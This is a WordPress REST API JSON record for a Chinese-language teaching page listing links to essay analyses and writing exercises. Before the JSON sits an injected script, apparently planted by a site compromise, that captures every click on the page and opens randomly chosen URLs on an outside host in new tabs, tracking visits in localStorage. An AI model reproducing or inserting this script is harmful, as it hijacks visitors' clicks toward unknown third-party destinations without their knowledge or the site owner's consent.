<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1375,"date":"2016-03-21T10:40:44","date_gmt":"2016-03-21T02:40:44","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?page_id=1375"},"modified":"2016-03-21T11:36:22","modified_gmt":"2016-03-21T03:36:22","slug":"%e7%95%b6%e4%bb%a3%e8%a7%80%e9%bb%9e","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/yujuwu\/?page_id=1375","title":{"rendered":"\u7576\u4ee3\u89c0\u9ede"},"content":{"rendered":"<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f90\u570b\u80fd\u3008\u8d70\u904e\u3009\u8cde\u6790\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1350\">\u5f90\u570b\u80fd\u3008\u8d70\u904e\u3009\u8cde\u6790<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6211\u8b80\u300c\u7ae0\u8a52\u548c\u3008\u7236\u89aa\u8207\u6c11\u570b\u3009\u300d\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1348\">\u6211\u8b80\u300c\u7ae0\u8a52\u548c\u3008\u7236\u89aa\u8207\u6c11\u570b\u3009\u300d<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u9673\u82b3\u660e\u3008\u6df1\u5c71\u591c\u8b80\u3009\u8b80\u5f8c\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1346\">\u9673\u82b3\u660e\u3008\u6df1\u5c71\u591c\u8b80\u3009\u8b80\u5f8c<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6b23\u8cde-\u4f73\u4f5c\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1343\">\u6b23\u8cde-\u4f73\u4f5c<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u505c\u683c\u7684\u756b\u9762-\u4f73\u4f5c\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1341\">\u505c\u683c\u7684\u756b\u9762-\u4f73\u4f5c<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u51fa\u767c-\u4f73\u4f5c\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1339\">\u51fa\u767c-\u4f73\u4f5c<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u77ed\u6587\u5beb\u4f5c\uff1a\u6642\u9593-\u4f73\u4f5c\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1337\">\u77ed\u6587\u5beb\u4f5c\uff1a\u6642\u9593-\u4f73\u4f5c<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"102\u4e0a\u5b78\u671f\u7b2c\u4e00\u6b21\u5b78\u6e2c\u6a21\u64ec\u8003\u8a66\u5beb\u4f5c\u793a\u7bc4\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1335\">102\u4e0a\u5b78\u671f\u7b2c\u4e00\u6b21\u5b78\u6e2c\u6a21\u64ec\u8003\u8a66\u5beb\u4f5c\u793a\u7bc4<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u690d\u7269\u7684\u63cf\u5beb\uff1a\u82b1\u8349\u6a39\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1331\">\u690d\u7269\u7684\u63cf\u5beb\uff1a\u82b1\u8349\u6a39<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\u7df4\u7fd2\uff1a\u5c0d\u624b\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1333\">\u5f15\u5c0e\u5beb\u4f5c\u7df4\u7fd2\uff1a\u5c0d\u624b<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\u7df4\u7fd2\uff1a\u8ddd\u96e2\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1326\">\u5f15\u5c0e\u5beb\u4f5c\u7df4\u7fd2\uff1a\u8ddd\u96e2<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\u7df4\u7fd2\uff1a\u5192\u96aa\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1315\">\u5f15\u5c0e\u5beb\u4f5c\u7df4\u7fd2\uff1a\u5192\u96aa<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\u7df4\u7fd2\uff1a\u5192\u96aa-\u8a55\u8a9e\u7df4\u7fd2\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1305\">\u5f15\u5c0e\u5beb\u4f5c\u7df4\u7fd2\uff1a\u5192\u96aa-\u8a55\u8a9e\u7df4\u7fd2<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\uff1a\u660e\u8207\u6697\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1303\">\u5f15\u5c0e\u5beb\u4f5c\uff1a\u660e\u8207\u6697<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\uff1a\u6b23\u8cde\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1298\">\u5f15\u5c0e\u5beb\u4f5c\uff1a\u6b23\u8cde<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\uff1a\u6700\u597d\u7684\u6642\u5149\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1294\">\u5f15\u5c0e\u5beb\u4f5c\uff1a\u6700\u597d\u7684\u6642\u5149<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\uff1a\u767c\u8072\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1290\">\u5f15\u5c0e\u5beb\u4f5c\uff1a\u767c\u8072<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u5f15\u5c0e\u5beb\u4f5c\uff1a\u4e00\u5ff5\u4e4b\u9593\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1288\">\u5f15\u5c0e\u5beb\u4f5c\uff1a\u4e00\u5ff5\u4e4b\u9593<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u6458\u8981\uff1a\u5341\u500d\u901f\u6642\u4ee3\u4e2d\u7684\u665a\u719f\u4e16\u4ee3\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1323\">\u6587\u7ae0\u6458\u8981\uff1a\u5341\u500d\u901f\u6642\u4ee3\u4e2d\u7684\u665a\u719f\u4e16\u4ee3<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u89e3\u8b80-\u738b\u9f0e\u921e\u300a\u958b\u653e\u7684\u4eba\u751f\uff0e\u904e\u7a0b\u300b\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1319\">\u6587\u7ae0\u89e3\u8b80-\u738b\u9f0e\u921e\u300a\u958b\u653e\u7684\u4eba\u751f\uff0e\u904e\u7a0b\u300b<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u8a55\u8ad6-\u5efa\u7acb\u4e00\u500b\u4eff\u5192\u7684\u4eba\u751f\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1300\">\u6587\u7ae0\u8a55\u8ad6-\u5efa\u7acb\u4e00\u500b\u4eff\u5192\u7684\u4eba\u751f<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u8a55\u8ad6-\u674e\u5049\u6587\u3008\u96e3\u9063\u4eba\u9593\u672a\u4e86\u60c5\u3009\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1296\">\u6587\u7ae0\u8a55\u8ad6-\u674e\u5049\u6587\u3008\u96e3\u9063\u4eba\u9593\u672a\u4e86\u60c5\u3009<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u8a55\u8ad6-\u694a\u7167\u3008\u807d\u4f60\uff0c\u8aaa\u751f\u547d\u4e2d\u91cd\u8981\u7684\u4e8b\u3009\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1292\">\u6587\u7ae0\u8a55\u8ad6-\u694a\u7167\u3008\u807d\u4f60\uff0c\u8aaa\u751f\u547d\u4e2d\u91cd\u8981\u7684\u4e8b\u3009<\/a><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u25cf \u5f90\u570b\u80fd\u3008\u8d70\u904e\u3009\u8cde\u6790 \u25cf \u6211\u8b80\u300c\u7ae0\u8a52\u548c\u3008\u7236\u89aa\u8207\u6c11\u570b\u3009\u300d \u25cf \u9673\u82b3\u660e\u3008\u6df1\u5c71\u591c\u8b80\u3009\u8b80\u5f8c \u25cf \u6b23\u8cde-\u4f73\u4f5c \u25cf \u505c\u683c [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":933,"menu_order":0,"comment_status":"closed","ping_status":"open","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/1375"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1375"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/1375\/revisions"}],"predecessor-version":[{"id":1413,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/1375\/revisions\/1413"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/933"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1375"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}